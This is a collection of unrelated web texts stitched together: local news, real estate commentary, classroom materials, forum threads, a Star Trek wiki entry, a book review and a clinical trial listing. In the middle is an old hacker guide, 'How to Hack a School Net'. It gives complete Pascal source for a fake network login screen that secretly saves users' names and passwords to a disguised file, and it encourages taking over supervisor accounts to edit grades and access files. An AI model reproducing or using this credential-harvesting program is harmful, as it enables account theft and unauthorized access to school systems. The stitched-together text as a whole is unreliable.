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Sylvia Henkin speaks Thursday to an audience of friends, family and board members at the State Theatre during a news conference. The building will be renamed the Sylvia R. Henkin State Theatre. / Melissa Sue Gerrits / Argus Leader
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� A new fundraising campaign to pay for renovations to the Sylvia R. Henkin State Theatre starts today.
� It�s called �Money Bomb 2012: Demented and Sad but Social.� The title is taken in part from the famous movie line in �The Breakfast Club.�
� It�s the theater�s first 24-hour campaign to collect as much money as possible through social media including Facebook and Twitter.
� All gifts will go directly to the campaign to renovate the theater and will be matched by another donor, said Stephen Williamson, executive director of the State Theatre Company.
� See more about the theater at www.siouxfallsstatetheatre.org.
The drive to renovate the historic State Theatre got a $500,000 booster shot Thursday, and maybe something more important � a namesake that could spur more donations.
The downtown Sioux Falls theater that first opened in 1926 will now be known as the Sylvia R. Henkin State Theatre, named for the longtime Sioux Falls businesswoman and city icon.
State Theatre Co. officials announced the half-million dollar donation and name change at a morning news conference. The donation came from the Henkin and McGowan families and their friends, who hope to see the theater reopen soon.
�We will see this place come alive,� Henkin, 91, said at the news conference. �This is the last jewel in the crown of Sioux Falls. And with all your help, which continues � there�s still more to be done � I want to see it open.�
The theater, which closed in 1991, has had plans for renovations off and on by various groups since that time. The ongoing campaign to finish the renovation needed a big gift and name recognition to fuel more donations, said Stacy Newcomb-Weiland, president of the theater�s board of directors.
And with Thursday�s announcement, officials hope to have the theater open by next summer.
�This is another big day in the life of the State Theatre,� Newcomb-Weiland said. �In five years, we�ve raised about $2.5 million. To date, we�ve put about $2 million into the building, and we have over 1,000 donors, so there are a lot of people who have come together for this project.�
The historic marquee will remain unchanged, Newcomb-Weiland said. Henkin�s name will be �tastefully� incorporated, perhaps elsewhere inside or outside the building.
Henkin said her family and their friends put together the donation and naming rights before she knew the plans were under way. It�s an honor, she said, because her family ties to the theater go back decades.
Henkin�s son-in-law, Gene McGowan, spoke during Thursday�s announcement.
�Sylvia has given her time and talents to Sioux Falls as a businesswoman, a volunteer and a civic leader for 60 years,� McGowan said. �She�s never been afraid to step up and do the hard work that would ensure this city�s progress, all the way from being founder of the St. Patrick�s Day Parade to serving as a city commissioner.�
The State Theatre�s board of directors plans to show first-run movies as well as art and foreign films, something McGowan said will transform it into a nightly entertainment venue in the heart of downtown.
Julie Anderson Friesen of Sioux Falls brings films to the city through her company, Cinema Falls. She plans to show films at the State as well as other locations in the city.
�I think there will be people who will connect to this project through Sylvia, and maybe with a sense of urgency,� Anderson Friesen said.
�I know I personally want to be here in that front row when she walks out on the stage. I want her to see opening night here,� she said. �Sylvia is 91, and there�s urgency in that, I think, to make sure she gets that moment.�
Renovations to the State Theatre�s historic lighted marquee and lobby are finished, and the new bathrooms and concession area are under construction.
Some work has been done in the main auditorium, but another $500,000 is needed to finish the work there and open the doors to show films by next summer. The former 1926 vaudeville house and movie theater will have 416 stadium seats.
Improvements to the balcony could happen later. But that and many other improvements to the building at 316 S. Phillips Ave. are not part of the scope of the current fund drive.
Later renovation phases could add a lounge in the spacious former business offices on the second floor, and there�s a lot of room in the former apartment space on the third floor. Future fund drives will finance work on those spaces in coming years, theater officials say.
Former Sen. George McGovern attended Thursday�s announcement and said he�ll go to movies at the Sylvia R. Henkin State Theatre when it reopens.
�I�ve been to movies here before, I�ll be back again, and I�m glad to see that Sylvia Henkin is the namesake,� McGovern said.


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The real estate market has defied the experts again. In April, residential sales on the Toronto Real Estate Board were only 7% lower than in April of '08. Sales increased by 31% from March to April. Preliminary numbers for the first half of May show that sales are running 3% higher than May of last year. Are we all the way back? No!
When you look at annual sales numbers, 2008 at 74,000 units was the same as in 2002. We forecast that 2009 sales would reach 70,000 units – the experts were forecasting 60,000. What we do know, based on future population growth, is that these sales numbers represent the bottoming of the market.
When we look at condo sales in total, the sales decline from April '09 to April '08 was 12%. However, most of the decline was in the '905′ area. On the Etobicoke Waterfront, sales in April were even with April a year ago. But Downtown, condo sales were 12% HIGHER this April than in April of 2008! When you look at these sales more closely, condo sales under $400,000 were up by 18%, while sales above $400,000 were down by 9% compared to April a year ago. The market is shifting to First Time Buyers – young people – who are not concerned about short term economic issues and who realize that current low mortgage rates make owning more affordable than in the last ten years! The other group who should be selling is Move Up Buyers. Not only are mortgage rates at record lows, but higher priced homes have declined in value more than entry level properties which are basically unchanged in price.
The only negative to this market is that First Time Buyers must be prepared to put up with multiple offer scenarios. Remember what we advised back in February – buy now and avoid the rush! And with prices again creeping up, one would have bought at the bottom of the market.
Speaking of prices, we have analyzed sales at 600 Queens Quay, an entry level building for people who want to live on the Toronto Waterfront. The first unit we tracked was a 666 sq.ft. one bedroom with balcony, parking, and locker. And for water lovers, it has unobstructed lake views. This unit actually sold five times from 2000 until its last sale in March of 2009. It is rare that the same unit has changed hands so frequently and so this give s us a true picture of how the condo market has evolved over the last 9 years.
Sale prices for the period are: $229,000 in 2000; $255,000 in 2002; $262,000 in 2004; $279,000 in 2006, and finally $315,000 in 2009. The cumulative increase was 38% over 9 years or an average annual increase of 4.2%! No exactly a speculative price bubble.
The unit's current price is $473 per sq.ft. with parking, or $450 without. If this unit did not have prime water views, then the price would be in the $375 per sq.ft. range.

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With its attractive open grain, pine furniture delivers the unique character that many hardwood and softwood varieties lack. Whether you opt to go au natural with an unfinished or clear lacquer look or wish to stain your piece to a barley, chestnut, antique or cherry finish, pine furniture will certainly not disappoint in the appearance and quality departments.
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SANTA CLARA, Calif. - The Santa Clara Women's Water Polo Team and the Women's Water Polo Endowment Committee are proud to host the inaugural WWP Bocce Ball Fundraiser on Sat., Nov. 10. Come mingle with fellow alumni, parents and friends of WWP as we rally behind the ladies and Coach Wilbur for their upcoming season!
RSVP Here!
Tickets include entrance into the bocce ball tournament (teams of four), appetizers, & two drink tickets (beer or wine). All proceeds from the event will directly support the SCU Women's Water Polo program.
We will also have raffle baskets (raffle tickets will be sold at the venue) and an exciting live auction to conclude the evening. Questions? Please email: email@example.com
The event will be held at:
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This event will be held the evening before our Annual Fall Scrimmages on Sun, Nov 11. Join us on the 11th at the Sullivan Aquatic Center for the scrimmages as well and support SCU WWP all weekend long!
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WWP SCRIMMAGE SCHEDULE - Sunday, Nov. 11
9 a.m. - SANTA CLARA vs. Sonoma State
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12 p.m. - Men's Game vs. UC Davis
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43 Our 5 Senses Theme Words And Pictures
43 x Our 5 Senses - Words and Pictures...
- Classify words into the 5 different senses categories - use the 'see','hear','touch','taste','smell' word cards as category labels.
43 x Our 5 Senses Theme Words..
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Our 5 Senses Theme Words List
bitter | bland | bright | cold | colourful |
dark | dry | ear | eyes | gooey |
hands | hard | hear | hot | juicy |
loud | mouth | nose | odour | perfume |
prickly | quiet | rough | salty | see |
sharp | shiny | slippery | smell | smooth |
sniff | soft | soundwaves | sour | spicy |
sweet | taste | tongue map | touch | wet |
feel | sound | look |
Our 5 Senses - Suggestions for Use
Classify words into the 5 different senses categories - use the 'see','hear','touch','taste','smell' word cards as category labels.
Use the word cards to label different objects around the room eg.... place the 'soft' card on the pillows etc...
Use with concept book 'I Have 5 Senses'
Make up some sentence strips - The _______________ feels ________________. The ______________ looks _______________.
Brainstorm and list all the things with certain characteristics - eg. Things which feel sticky.... Things which taste salty......
Make up a class book 'What feels soft?' Each child is given the strip - 'A ___________feels soft' and draws and writes a page for the book. (We will try and pop a concept book up for this soon!)
Play a game of 5 senses 'What am I?' - Use the words to describe an object - I look ___________, I taste ___________, I feel ____________, I smell ________________, I sound _________
You can make these words smaller size by using the reduction settings on your printer and just printing off black and white copies, these smaller sizes are great for cut and paste activities .
When not being used on a wall display, place them in labelled boxes (small wash powder boxes or yoghurt containers work well, or hanging pockets for continued 'grab and go' games and writing reference.
All the activities from '101 Fun Flashcard Activities' are fantastic with these Words ...... (DON'T FORGET TO UTILIZE THIS TERRIFIC RESOURCE EVERYDAY)
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NSW WeedWise
NSW WeedWise presents information for over 300 noxious and environmental weeds in NSW, including Profiles, Control (including herbicide options) and Legal requirements (under the Noxious Weeds Act 1993).
NSW Government response to weeds review
Minister for Primary Industries, Katrina Hodgkinson, has announced the Government will adopt the majority of recommendations made by the Natural Resources Commission following its detailed review of weed management in NSW.
New Weed Innovation Funding
The Minister for Primary Industries Katrina Hodgkinson has announced several successful projects under the new $1.1 million Weed Innovation Grants initiative.
- NSW WeedWise
Information about noxious and environmental weeds in NSW including: Profile, Control (including registered herbicide options), and Legal requirements under the Noxious Weeds Act 1993 - Weed categories and definitions
Definitions and examples of noxious weeds; weeds of national significance (WONS) and national environmental alert list weeds and aquatic weeds. - Weeds legislation
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Policies and national and state strategies. Relevant forms are also in this section. - NSW DPI projects
A range of projects being undertaken by DPI including biological control, community involvement, training, policy and research projects. - Weeds research
The Weeds Research Unit carries out world class research in the areas of weed science, crop, pasture and environmental weed ecology and integrated weed management by cultural, chemical, mechanical and biological control means. - Weed publications
Factsheets, newsletters, posters, training materials, books and videos about weed identification, management and other issues. - NSW - No Space 4 Weeds
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Courses, delivery modes, dates, locations and contact information. - NSW Weed Risk Management system
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NSW DPI advisory, regulatory, technical, training and extension officers and more. - Useful links
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Offering modern Indian-style rooms, Lemon Tree Hotel Electronics City, Bengaluru provides comfortable accommodation with access to an outdoor pool and gym. Providing free parking, it has a 24-hour cafe. Bangalore's Lemon Tree Hotel Electronics City is 15-minute drive from Koramangala district. It is 25 km from the railway station and 63 km from Bengaluru International Airport. Air-conditioned rooms at Lemon Tree Electronics City feature warm shades of red and abstract prints. They come with ample work space and tea/coffee making amenities. A well-equipped fitness centre is available for full workouts. Staff at the 24-hour reception can provide business services. Featuring outdoor dining, Citrus Cafe serves a variety of Western, Asian and local specialities. Guests can enjoy a drink and play pool at the lounge.
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2015 might just end up being Hulu's year. Today, Hulu announced a straight-to-series deal for Jason Reitman's "Casual," which will debut in 2015.
Read More »Nearly all critics despise Jason Reitman's "Men, Women & Children." But is it for the wrong reasons?
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The importance of treasury across the business value chain in India has to be played up significantly.
The role of treasury in India has traditionally been limited to hedging currency and interest rate risk and deployment of surpluses from business.
Accordingly, the importance of treasury across the business value chain has, at times, been under-played leading to a lopsided view on the hedging strategy.
The aspects of treasury management that have generally escaped the attention of oil and gas exploration companies include:
The business value chain and the role of an integrated treasury across the business value chain are depicted below:
Questions for corporate treasurers in oil and gas exploration and production
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Forgive me if they don't have an application to fit your needs, but Wain Roy that is now owned by Woods is pretty much the industry standard around here. All of the major road building contractors have them on all of their backhoes.
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Anyways, as well as working as being an operator I run a side "Business" of sorts. When small companies are looking for equipment but don't have personnel on payroll with the right experience to find iron for them they call me. Now usually the equipment used, but relatively new (around the thousand hour mark). I keep tabs on different online auctions, attend RB, and am on very good terms with several large bailiffs. Instead of a company having someone keep up on what is new in the industry, equipment values, and whats reliable, they just call me. They simply explain what they work is required and give me a budget. I then present them with several possible solutions, one of which they select. After that I will seek out the right piece of equipment for them in a given time period. I receive a small fee for my time. And the company is thus able to grow with no downtime or loss of man power. It should be said most of these businesses are small as fleet sizes go. Some of clients are Ski Resorts, Supply Centers, Transfer Stations, or personal needs. I worked for a resort a few years ago and after witnessing the colossal loss of money and time due to repairs and poor choice of equipment, I presented the operations manager and owners with a few suggests at the end of the season. They appreciated what I had to say and asked if I would be able to aid them in finding the equipment. I helped them in locating T190 with a blower, snow pusher attachments for WA380, and 950 series loaders, and a Zx135US since then. Companies I deal with usually have 3-7 machines that aren't running full days, year round. One employee will run 2 or more machines as needed. I've done work for friends who are operators but could care less about knowing the specs of all the machines and wasting time at auctions. They just want a mini, or bobcat or small dozer for their farm or acreage, and don't have a fortune but want something reliable for the next 3-5 years while they are doing any given project. It isn't full-time work, I make very very little money of it. When I ask questions sometimes they're to do with work, other times they're questions for me, sometimes it's for a client. I don't know everything about everything and will never claim too. I am always learning and trying to increase my knowledge, so the suggestions that I make are the better every time. I do enjoy it though, and possibly in the future as I make more connections and companies expand it may become more then a hobby. As you know from being in the industry, connections are important as is your reputation. I believe I've explained myself. Any other demands. Last edited by DirtMerchant; 05-25-2010 at 05:25 AM. |
So your a equipment consultant for small fleets, thats pretty sweet side gig. When you said you were looking for a wrist, were you talking tilt only or tilt+rotate?
Tilt, Already found what I was looking for. Cat rentals have given me a pretty nice quote that I believe is fair for a used one. Now I just have to see how my auctions go I've got 2-35's and 1-27 I'm watching. The 27 has really low hours and may be able to work in a little tighter areas. Should aid them when hardscaping involving slopes in between two structures. Like I said every once in awhile I'll get a call and have a new project. I enjoy it, plus it keeps me in loop for snagging equipment for myself especially when it comes to niche work..
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- This article is about trans-uranic element 120, rubindium. You may be looking for element 37, rubidium.
Rubindium (symbol Rd) is a chemical element, atomic number 120 on the periodic table.
[show]Characteristics and historyEdit
Rubindium, in its most stable form, has an atomic mass of 314, and was discovered by Humans for the first time in asteroids, in the Sol star system's asteroid belt in the year 2038. This crystalline metal is part of the trans-uranic series of heavy elements. (ST reference: Star Fleet Medical Reference Manual)
Like dilithium, rubindium is able to convert subspace radiation into transtator current. (TOS novel: Prime Directive)
Stable rubindium was a rare substance, but in the 23rd century, rubindium crystals were used by Starfleet as part of their subcutaneous transponders. While imprisoned on the planet Ekos in 2268, Commander Spock was able to create a powerful laser using the crystals in his transponder, and was able to escape from prison. (TOS episode: "Patterns of Force")
The planet Talin IV had large deposits of natural rubindium crystals, which the native Talin recognized as having properties beyond that of normal matter. Because rubindium could potentially detect subspace activity in local space, Starfleet's First Contact Office restricted the use of all subspace-based technologies during their study of the planet. (TOS novel: Prime Directive)
In the 2290s, the Federation discovered large quantities of stable rubindium on one of the inner planets of the star system surrounding Orelte. After lengthy negotiations with the Frunalians, the Federation were able to gain mining rights. (TOS - Crucible novel: The Fire and the Rose)
See alsoEdit
In real-life science, element 120 has yet to be discovered. A placeholder name based on its number, "unbinilium", has been suggested to document the possible existence of this substance. Some models of theoretical science have stated that heavy elements on this scale may be impossible to synthesize or reproduce, and cannot exist in nature. Subspace quantities mentioned in Star Trek may account for the contradiction of this being a natural resource on other worlds.
- TOS episode: "Patterns of Force"
- ST reference: Star Fleet Medical Reference Manual
- FASA RPG module: Star Fleet Intelligence Manual
- TOS novel: Prime Directive
- TOS - Crucible novel: The Fire and the Rose
External linksEdit
- Rubindium article at Memory Alpha, the wiki for canon Star Trek.
- Unbinilium article at Wikipedia, the free encyclopedia.


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text: -----------------------------------( 24 )----------------------------------- HOW TO HACK A SCHOOL NET -------------------------------ANTiCONFORMiST------------------------------- The following method of hacking a schools network which I thought of while trying to hack the Waitakere College Net, will work on any platform and just about any system. This is both an effictive and efficient method, SO USE IT! Hack networks, create anarchy for the teachers/network admin staff. Just make sure you don't take all the credit for the idea. Ingredients ----------- 1. Basic knoledge of a compiling computer language e.g. pascal, c, c++ etc 2. A Directory on a Server where you have read and write rights 3. A copy of the logon screen (if one is used) Method ------ To start with you need to write a small program that will emulate the logon process. i.e. display the logon screen, enter name + password etc.. The program must be able to save the data it collects to the dir you have rights to. It is a good idea to make the program as accurate as you can so the teachers etc don't notice any differences at first. Of cause unless you are an expert programmer you will not be able to write a successful tsr to capture the keys when the right prompt appares, so you will need to your program so it prints an error after the details are entered. The reason for this is is the teacher/supervisor will (after entering their logon and password a few times) come to the conclusion that for some reason the machine is not accessing the network. Thus rebooting it, not knowing what you have been upto. Therefore thinking nothing of it after machine boots. Now you can logon to another terminal, get the data file and away you go. Its that simple. Hints & Tips ------------ 1. Plan your attack and study the logon process, see what it does if you enter an invalid password etc. 2. Make the name of the file your saving the name and password to inconspicuous so that if the supervisor finds it he/she wont remove it. 3. Don't tell anybody what you are doing until after you have done it. Even if you trust them, they might have a concience, and nark or sumfin. 4. Once you have the supervisor password account, login as him/her after checking that he/she is not already logged in, set your account to have access to all directories and all facilities that the network offers. 5. Do what the hell you like, sponge files, edit your grades, send e-mail. Network Hack Algorithm ---------------------- Display Login Screen (if there is one) Write Name Prompt Get name if the name not entered write the usage Write Password Prompt Get password Write error Sample Pascal Code ------------------ {Does not display logo Just gets data and displays usage} {Used with Novell networks} {No error coded in, User will just not get logged in} Program False_Nlogin; Uses Dos,crt; Var NameStr, {Stores login name} PasswordStr, {Stors password} Try : String; x,k,y:byte; {Used for counters} Ch : Char; f:text; {Var for file} function FileExists(FileNam: String): Boolean; { Boolean function that returns True if the file exists;otherwise, it returns False. Closes the file if it exists. } var F: file; begin {$I-} Assign(F, FileNam); FileMode := 0; { Set file access to read only } Reset(F); Close(F); {$I+} FileExists := (IOResult = 0) and (FileNam <> ''); end; { FileExists } Procedure Usage; {Shows The Usage Of Nlogin} Begin WriteLn('Usage Login [/Options] [/Server] [Username] [ScriptParameters]' ); WriteLn('Options : Clear screen'); WriteLn(' No attach'); WriteLn(' Script <path spec>'); WriteLn; End; procedure getdata; {Enters all the data Needed i.e.login name, password} begin {GetData} y:=0; for x := 1 to 2 do begin case x of 1:Write('Enter your login name: '); 2:write('Enter your password: '); end; inc(y); repeat ch := readkey; case ch of #8 : Begin if k > 1 then begin dec(k); Delete(try,k,1); write(ch); clreol; end; end; #13,#10,#27 : Begin writeln(''); end; else begin try:=try+ch; case x of 1:write(ch); end; inc(k); end; end; until (ch = #13) or (ch = #10) or (ch = #27); case y of 1:begin namestr:=try; try:=''; end; 2:begin passwordstr:=try; try:=''; end; end; end; if namestr = '' then begin usage; halt(0); end; end; {GetData} procedure writedata; {writes the data to a file, checks to see if the files exists first} begin {WriteData} assign(f,'go039.bat'); if fileexists('go039.bat') = false then rewrite(f) else append(f); writeln(f,'Name: ',namestr); writeln(f,'Password: ',passwordstr); writeln(f); close(f); end; {WriteData} begin {Main Code} getdata; {runs the getdata procedure} writedata; {runs the writedata procedure} end. {Main Code}


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The logo tag on my brand MCB says "Made in U.S.A" instead of "Portable Culture". Haven't seen any pictures of this new logo elsewhere. Is it an export version (I live in Sweden).
The logo tag on my brand MCB says "Made in U.S.A" instead of "Portable Culture". Haven't seen any pictures of this new logo elsewhere. Is it an export version (I live in Sweden).
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Hey! I just notice this new tag on my SCB. I back ordered it and picked it up a week ago...cool! I like both, USA and Portable Culture...
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Rather sad to see "Portable Culture" go. I think it's cool.
(just came back from a weekend away anxious to check that my new Synapse19 has the "old" label .... yesssssss)
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My March Delivery CP is "PC".
[2003] Brain Bag (w/Lg A45 Packing Cube, Snake Charmer & 2 Brain cells) ___________________________________________ "Be excellent to each other."
- [2010] Aeronaut (w/Absolute, 1lg/2sm Packing Cubes, Travel Tray & 3D clear cube)
- - [2013] Co-Pilot (w/S.O.S. strap, Cache, Clear Org wallet, 3D mesh cube )
- - - [2015] Tristar (PCSB, Passport Pouch & 3D clear cube) ... got to get some more packing cubes.
I realize I'm digging up an old thread, but I had been wondering about the different TB logo tags. I have a number of organizer products with "Made in U.S.A." but I would much prefer the "Portable Culture" tags, especially on my PCSB's. When traveling outside the U.S., there are many places where it may not be the best idea advertise USA, even if it's just on a little label. My favorite tag on any of the products that I have is the Tri-Star tag.
My PCBP has the newer "Made in USA" tag, but my June delivered BN Aeronaut has the Portable Culture tag. I also prefer the Portable Culture tag, but that's probably because I'm not American (though I do work there quite often and spend many childhood years living in the US).
I don't think it's that big a deal when travelling abroad. It's not like it's a giant US flag coloured bag, and it's not even as if it is saying that you are from the US. You could be from anywhere and bought a Tom Bihn bag. If you are travelling somewhere generally unfriendly to Americans in the first place, put some gaffers tape over the logo (if you are worried about it), keep your passport well hidden, and pretend you're Canadian. Sounds good eh? Stupid hosers... I'm jonesing for a Timbit now.
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One of the reasons I love TB is that they are Made in America but I, too, am concerned with stating that so obviously on bags which will be worn in other countries. Has anyone removed the labels from the steel Dyneema? Does doing so leave permanent damage or will the needle holes self-heal with time? Darcy? Could you comment?
Agree re: the TS label - it's clever!
Would be so nice to have label options rather than a set logo....or more subtle, smaller logo.
Small grumbles, Great products! Thanks!
I was wondering something similar, so perhaps Darcy could comment on my question as well. Most of the bags I ordered at the beginning of the summer had the "Portable Culture" label. The last couple bags I ordered have the "Made in the USA" label. Are they currently using both styles (and it is random) or have they recently changed to the USA label? (I greatly prefer the "Portable Culture" label btw)
NOTE: I just read the rest of the thread and I think I answered my own question. It looks like the "Portable Culture" label has been discontinued?
I really like the "Portable Culture" label, perhaps because I feel like visually it is better balanced from a design perspective. However, if it has to change, I think I would prefer "Made in Seattle" to "Made in the USA".
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I second that. Prefer Portable Culture. Made in Seattle trumps Made in USA, IMHO. FWIW......
While I also personally prefer the "Portable Culture" logo I think the commitment to design and manufacture their products in the USA is important to Tom Bihn. I think the new logo allows them to acknowledge and celebrate that commitment which seems fitting.
As for the issues with international travel go I think in theory that could be an issue. When our corporate security guy presented Travel Safety Training he did encourage us to minimize our "Americanisms". However, he also pointed out those folks wishing to target Americans can pretty much spot you anyway. I suspect at the end of the day a small bit of text on a product tag is not really going to be an issue. Now, if you're actually a member of the CIA or something…
While we're on the subject of logos, when was this the main logo patch in use? Recently saw a bag for sale with this tag on it, and can't quite place its vintage. Bag looks to be in otherwise good shape.
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Although it speeds by very quickly--and you have to be quick with hitting the play/pause button--you can see some of the logos in the video entitled, "Tom Bihn on the design + build process" starting at about 20 seconds. I went back and looked at I saw this as the logo in 1995. Also, a very early logo was a kewl drawing. Check it out!


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How to export a single (segmented) GarageBand track as multiple songs?
I'm trying to digitize an audio cassette recording that has multiple songs; I want to end up with a collection of MP3 files. I've hit a snag and wonder if there's a way to recover at this point, or if I'm going to need to start over.
I imported the entire recording as a "track" in GarageBand, by running an audio cable from the cassette player's headphone jack into my iMac's microphone jack. This worked fine. Then I went back and split the track into various regions (i.e. one region per song), trimming out dead space in-between songs and so forth as I went along. When I go to GarageBand's "Share" menu and try to export the song to iTunes, it's wanting to send over the entire track's contents. There is no immediately obvious way to select one region and tell GB "export this as song1.mp3" and then select a different region and say "export this one as song2.mp3". Am I screwed? If so, if I need to start over, what is it that I want to do differently this time? If I'm not completely screwed, what can I do to recover at this point? (Wondering if I have to create multiple GB projects, one each per song, and then see if I can "copy" individual regions from this original project into the new ones). Thanks in advance for any suggestions. |
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Solo one track at a time and adjust the end of project length in the Ruler Bar. Go to share menu and export the song. Unsolo the track and Repeat this for every other track. deej
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Thanks, deej999! This worked like a charm.
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this was much more work than you needed to do
in the future, just enable the 'cycle region' (the loopy arrow at the end of the transport controls) drag the cycle region (appears as a yellow strip at the top of the timeline) to encompass your desired section to export ... and export... only the cycle region will be exported... no multiple track and dreary solo/unsolo business
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Wow thanks, @Arrandale! This old article of yours has made me save precious hours of work. Can you believe that most forums/discussion groups all forget to mention this nice little trick of yours?
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I have been reading quite a bit about DACs. Theres a couple things I dont quite understand. Pardon me if the questions have already been asked.
One of my questions is how Stereo DACs differ from multi-channel ones for home theater? How are the data streams different? Does the data get separated and sent to the respective DAC for each channel. Also, is the Data stream of CD and DVD audio compatible with the same DACs that would work for Bluray true HD and DTS HD master? It would be nice to be able to make a great sounding two channel project which can be eventually scaled up to 8 channels. Thanks |
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Data comes from the source (e.g. computer, DVD player) in the form of either optical or coaxial SPDIF. It's then recieved by the SPDIF reciever, which decodes and sends out the data in a format known as I2S, or Inter-IC Sound. This is a widely spread format used by virtually all modern audio DAC chips.
Stereo DACs recieve and convert two channels of data (left and right), multichannel DACs can recieve more (often 6 or 8). There are a few problems with what you are proposing however. It's up to the SPDIF reciever to decode all the channels, and very few SPDIF recievers can handle Dolby, AC-3 or DTS. I know only of one, the ST310 from ST Microelectronics. It basically decodes an SPDIF signal into 6 separate I2S signals, you then have the choice to feed this into a multichannel DAC, or into several stereo DACs. |
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I2S is just one format amongst many. There are still a few devices that won't accept it.
Most modern spdif receivers have non-IEC60958(SPDIF) data passthrough so that when faced with AC3 or DTS, the data can be routed to an appropriate decoder. A PC can also supply multichannel data via ADAT. 8 channels at Fs, 4 at 2Fs and 2 at 4Fs where Fs is 44K1 or 48K. There are also other transport protocols but you are unlikely to meet them in the consumer arena. |
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This year's Booker winner is a stellar read, where old-fashioned story-telling triumphs over the new-fangled zodiacal structure.
What an absolute humdinger this year's Booker winner has turned out to be! This is a triumphant return of old-fashioned story-telling — unabashedly lengthy, omniscient and annotatory. I must confess I started it with some trepidation, its 800-odd pages and purported astral structure doing nothing to recommend it in my eyes. But once picked up, dislocated shoulder be damned, it just would not be put down.
Of course, we all knew this was the Booker's youngest winner. And I, in turn, found it impossible to ignore that the book comes from a 28-year-old. It displays a mastery over language and structure that can yet be explained by erudition, but the young Catton's command over character analysis is remarkable. She dissects her 20-strong cast with clinical precision, yes, but also with a degree of empathy and insight into the human psyche that belongs to a far older person. It's easy to see a measure of precocious literary genius here that must have made the choice of Catton for the award a fairly straightforward one.
The other highlight is the incredible degree of control in evidence. For a novel that deals in Victoriana not just in terms of setting but in sheer theatricality of plot, untrammelled emotionality, and Dickensian sweep (it would have been serialised in his times) not for an instant does it trip into sentimentality or wander into Gothic territory. And this despite playing with fire — there are twin-born souls and opium hazes; laudanum, apparitions, black villains; there's the sweeping hand of Fate and fantastic coincidences that would put Hardy to shame. The craft is in how Catton adroitly puts this tricky material together with poise and a Shakespearean air of timelessness. Thus, when Moody gatecrashes the 12-man cabal's secret meeting in a hotel parlour and finally gets to hear the tale, Catton masterfully takes over the telling of it: "We shall here excise their imperfections and impose a regimental order upon the impatient chronicle…" She then proceeds to present each man's version in a Rashomon-like retelling which creates the tight tension that impels the story forward.
For all its seeming complexity, at heart the book is a fairly straight whodunnit, set around a hermit found dead in his cottage and a prostitute found unconscious from an opium overdose. But the book has no intention of getting down quickly to finding out who done it. Instead it takes a luxurious breath, sits down next to the fire with a drink, and pleasurably proceeds to walk you down the Byzantine alleyways of motivation, character and history. It is set in a gold-rush shanty town populated by a motley crowd of hoteliers and whores, pimps, parsons and bankers, and native Maoris elbowed out by the bustle of power. There are no lead protagonists to monopolise either the tale or our empathy. Each one gets his time on stage and we are left feeling like a jury, trying to sift evidence and motives, to apportion blame or sympathy. With the point of view constantly shifting, this is no mean task. Underlying this is the realisation that there are no absolute truths, just half-truths, points of view, perspectives; with even the worst offenders presented with dignity, with even something as incendiary as Colonial racist attitudes given no slant. It's dangerous because it leaves one with no comforting ideology to cling to, but it works because Catton stages it so empirically.
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RATIONALE: Drugs used in chemotherapy use different ways to stop tumor cells from dividing so they stop growing or die. Combining more than one drug and giving them after surgery may kill any remaining tumor cells following surgery. It is not yet known which combination chemotherapy regimen is more effective in treating breast cancer.
PURPOSE: Randomized phase III trial to compare the effectiveness of two different combination chemotherapy regimens in treating women who have primary breast cancer.
Condition | Intervention | Phase |
Breast Cancer |
Drug: cyclophosphamide Drug: docetaxel Drug: epirubicin hydrochloride Drug: fluorouracil Drug: goserelin acetate Drug: tamoxifen citrate Procedure: adjuvant therapy Radiation: radiation therapy |
Phase 3 |
Study Type: | Interventional |
Study Design: | Allocation: Randomized Masking: Open Label Primary Purpose: Treatment |
Official Title: | A Randomized Phase III Trial Comparing FEC-Chemotherapy vs. EC-Doc-Chemotherapy in Patients With Primary Breast Cancer |
- Comparison of time to progression [ Designated as safety issue: No ]
- Overall survival time [ Designated as safety issue: No ]
- Toxicity [ Designated as safety issue: Yes ]
- Changes in quality of life over time as measured by the EORTC QLQ-C30 and BR23 questionnaires [ Designated as safety issue: No ]
Estimated Enrollment: | 446 |
Study Start Date: | August 2001 |
Study Completion Date: | March 2012 |
Primary Completion Date: | February 2012 (Final data collection date for primary outcome measure) |
- Compare the time to progression of women with primary breast cancer treated with fluorouracil, epirubicin, and cyclophosphamide vs docetaxel, epirubicin, and cyclophosphamide.
- Compare the overall survival of patients treated with these regimens.
- Compare the toxicity of these regimens in these patients.
- Compare quality of life of patients treated with these regimens.
OUTLINE: This is a randomized, open-label, multicenter study. Patients are stratified according to metastatic axillary lymph node involvement (4-9 vs 10 or more), hormone receptor status (estrogen and/or progesterone) of the primary tumor (negative vs positive), and timing of adjuvant radiotherapy (intermittently after completion of 50% of chemotherapy vs after completion of all chemotherapy). Patients are randomized to 1 of 2 treatment arms.
- Arm I: Patients receive fluorouracil IV over 10-15 minutes and epirubicin IV over 15 minutes on days 1 and 8 and oral cyclophosphamide on days 1-14. Treatment repeats every 4 weeks for 6 courses in the absence of disease progression or unacceptable toxicity.
- Arm II: Patients receive epirubicin IV over 15 minutes and cyclophosphamide IV over 1 hour on days 1, 21, 42, and 63 and docetaxel IV over 1 hour on days 84, 105, 126, and 147 in the absence of disease progression or unacceptable toxicity.
Within 21 days after the completion of chemotherapy, patients undergo adjuvant radiotherapy 5 days a week for 5.5 weeks. Alternatively, patients may undergo radiotherapy intermittently after completion of 50% of chemotherapy.
Upon completion of chemotherapy, patients with positive hormone receptor status (estrogen and/or progesterone) receive oral tamoxifen daily for 5 years. Additionally, patients with positive hormone receptor status who are under age 40 receive goserelin subcutaneously every 4 weeks for 2 years.
Quality of life is assessed at baseline, prior to each course of chemotherapy, 4 weeks after completion of chemotherapy, 6 weeks after completion of radiotherapy, and then at 6 months after completion of chemotherapy.
Patients are followed every 3 months for 3 years, every 6 months for 3 years, and then annually thereafter.
PROJECTED ACCRUAL: A total of 446 patients (223 per treatment arm) will be accrued for this study within 3 years.
Ages Eligible for Study: | 18 Years to 70 Years |
Genders Eligible for Study: | Female |
Accepts Healthy Volunteers: | No |
Diagnosis of primary epithelial invasive carcinoma of the breast
- Must have 4 metastatic axillary lymph nodes
Complete resection of the primary tumor within the past 5 weeks
- Free of invasive carcinoma with at least 10 lymph nodes removed
- No inflammatory breast cancer
- No distant metastases by chest x-ray, liver ultrasound, and whole body bone scan
Hormone receptor status:
- Estrogen and/or progesterone receptor status known
- 18 to 70
- Female
Menopausal status
- Not specified
Performance status
Life expectancy
- At least 32 weeks
- WBC at least 3,000/mm3
- Platelet count at least 100,000
- Bilirubin no greater than 1.5 times upper limit of normal (ULN)
- SGOT/SGPT no greater than 1.5 times ULN
- Alkaline phosphatase no greater than 1.5 times ULN
- Albumin no greater than 1.5 times ULN
- Creatinine no greater than 1.5 times ULN
